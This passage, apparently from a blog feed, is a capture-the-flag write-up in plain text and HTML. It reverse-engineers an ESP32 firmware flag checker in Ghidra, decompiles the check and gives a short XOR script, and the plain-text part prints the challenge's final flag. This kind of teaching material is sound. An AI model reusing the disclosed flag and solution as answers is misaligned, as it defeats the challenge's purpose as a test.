0x43; } then the first 12 bytes are overwritten by the call to func_0x400d60e4\ninspecting func_0x400d60e4 we see it\u0026rsquo;s decompilation and disassembly: it calls func_0x400d60f4 with 0x4a and PTR_DAT_400d069c here is the code for func_0x400d60f4 it writes the first argument into the first byte of the second argument and it writes the first byte of the return address into the second byte and incremnts the first arg by one and second arg by 2 and keeps calling it self recursively until arg1 \u0026amp; 8 == 0\ngetting the return addresses is easy, the return address is the address of the instrution after the call instruction, which means: for the first time when it\u0026rsquo;s called by func_0x400d60e4\n400d60ec 65 00 00 call8 SUB_400d60f4 here-\u0026gt;400d60ef 1d f0 retw.n we can see that it\u0026rsquo;s 0xef and for the rest it\u0026rsquo;s 0x08\n400d6105 e5 fe ff call8 SUB_400d60f4 LAB_400d6108 XREF[1]: 400d60f7(j) here-\u0026gt;400d6108 1d f0 retw.n now tracing the execution of this function we can deduce that the final value of PTR_DAT_400d069c is: 0x4a,0xef, 0x4b, 0x8, 0x4c, 0x8, 0x4d, 0x8, 0x4e, 0x8, 0x4f, 0x8, 0x46, 0x43, 0x53, 0x43 and the extracted PTR_BYTE_400d06a0 is: 0x79, 0x8D, 0x2D, 0x3E, 0x2E, 0x6E, 0x79, 0x6D, 0x28, 0x38, 0x2D, 0x38, 0x77, 0x75, 0x60, 0x21\nnow we can get the final flag using this script:\ndata_400d069c = [0x4a,0xef, 0x4b, 0x8, 0x4c, 0x8, 0x4d, 0x8, 0x4e, 0x8, 0x4f, 0x8, 0x46, 0x43, 0x53, 0x43] data_400d06a0 = [0x79, 0x8D, 0x2D, 0x3E, 0x2E, 0x6E, 0x79, 0x6D, 0x28, 0x38, 0x2D, 0x38, 0x77, 0x75, 0x60, 0x21] r = [] for i in range(0x10): r.append(data_400d069c[i]^data_400d06a0[i]) print(b\u0026#39;FCSC{\u0026#39;+bytes(r)+b\u0026#39;}\u0026#39;) our final flag is : FCSC{3bf6bf4ef0b0163b}\n","content_html":"\u003cp\u003eyou can check the challenge \u003ca href=\"https://hackropole.fr/en/challenges/reverse/fcsc2026-reverse-extensif/\"\u003ehere\u003c/a\u003e, difficulty is 1 star.\u003c/p\u003e\n\u003ch2 id=\"tldr\"\u003eTL;DR\u003c/h2\u003e\n\u003cp\u003ereversing an esp32 app image that does basic flag checking\u003c/p\u003e\n\u003ch2 id=\"solve\"\u003eSolve\u003c/h2\u003e\n\u003cp\u003ewe are given a file \u003ccode\u003eextensif.bin\u003c/code\u003e running \u003ccode\u003efile\u003c/code\u003e on it gives us this:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ file extensif.bin \nextensif.bin: ESP-IDF application image for ESP32, project name: \u0026#34;extensif\u0026#34;, version 1, compiled on Mar 24 2026 15:29:16, IDF version: v5.5.1, entry address: 0x400811E8\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eit is not an elf, googling \u003ccode\u003eESP-IDF\u003c/code\u003e i find this \u003ca href=\"https://github.com/BlackVS/ESP32-reversing\"\u003egithub list\u003c/a\u003e which contains a lot of resources on esp32 reversing, i spent some time browsing it and trying different stuff until i came up against this \u003ca href=\"https://github.com/Ebiroll/esp32_flash_loader\"\u003eghidra extension\u003c/a\u003e, which is used to load esp32 flash dumps, using it i can load extensif.bin successfully into ghidra.\u003c/p\u003e\n\u003cp\u003ewhen first loading the binary i find my self in main which is not very helpfull since the main is not of the flag checker rather it is of whatever runs on esp32 when it boots (apparently it\u0026rsquo;s freertos, i grepped for it inside the binary), so to find the user code, i opened Windows-\u0026gt;Defined Strings and searched for the flag format \u003ccode\u003eFCSC\u003c/code\u003e.\ni found this:\n\u003cimg\n  src=\"/ecsc2026-extensif/2026-06-26%7c17:41:41.464.png\"\n  alt=\"FCSC String filter screenshot\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\ngetting the xrefs for this string i find my self at the function that appears to be the main user code\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eUndefinedFunction_400d6000\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003evoid\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eundefined\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eundefined\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003echar\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e33\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ebyte\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eabStack_30\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e48\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_s_Bienvenue_400d0698\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8590\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eiVar4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_DAT_400d069c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x46\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x53\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003efunc_0x400d60e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar3\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_BYTE_400d06a0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_DAT_400d069c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eabStack_30\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epuVar3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ePTR_s_Entrez_le_flag_\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_chars\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e_400d06a4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8438\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003efunc_0x40088434\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePTR_fflush_400d06b8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eundefined4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003efunc_0x40088434\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8048\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eundefined4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ePTR_s_Erreur_de_lecture_400d06a8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// -- (1)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#75af00\"\u003efunc_0x400d8590\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epuVar2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePTR_strlen_400d0660\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ecode\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ePTR_memcmp_400d067c\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eiVar5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epcVar1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eacStack_51\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan 